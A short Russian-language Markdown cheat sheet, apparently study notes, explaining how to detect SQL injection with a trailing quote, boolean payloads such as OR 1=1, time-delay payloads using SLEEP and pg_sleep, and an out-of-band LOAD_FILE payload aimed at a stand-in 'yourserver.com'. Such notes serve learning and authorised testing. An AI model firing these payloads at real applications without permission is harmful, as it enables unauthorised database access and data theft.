20 lines
2.1 KiB
Markdown
20 lines
2.1 KiB
Markdown
QL иньекция - возможность злоумышленника вмешиваться в запрос, который делает приложение, к базе данных. Это позволяет получить атаковавшему доступ к тем данным, к которым у него не должно быть доступа.
|
|
|
|
## Как распознать наличие возможности SQLi?
|
|
1. Поставить **'** в конце запроса и посмотреть на ошибки
|
|
2. Булевые выражения такие как **OR 1=1** **OR 1=2** могут помочь получить доступ к нужным частям БД
|
|
3. Создавай SQL-запросы, которые вызывают задержку при выполнении, и наблюдай, меняется ли время ответа.
|
|
**Пример:**
|
|
Используй функцию задержки, например `SLEEP` в MySQL:
|
|
`Food' OR SLEEP(5)--`
|
|
Если сервер обрабатывает инъекцию, то ответ задержится на 5 секунд. Это подтверждает уязвимость.
|
|
4. **Полезные нагрузки для взаимодействия с сетью (OAST):**
|
|
Отправляй запросы, которые вызывают сетевую активность при выполнении. Это полезно, если сервер поддерживает вызов внешних ресурсов (например, DNS-запросы или HTTP-запросы).
|
|
|
|
**Пример:**
|
|
Вставляй такие команды, которые обращаются к твоему серверу:
|
|
`Food' UNION SELECT LOAD_FILE('\\\\yourserver.com\\file')--`
|
|
Или:
|
|
`Food'; SELECT pg_sleep(5); -- в PostgreSQL`
|
|
Ты будешь следить за сетью, чтобы заметить, происходит ли запрос к твоему серверу. Если он произошел — инъекция работает.
|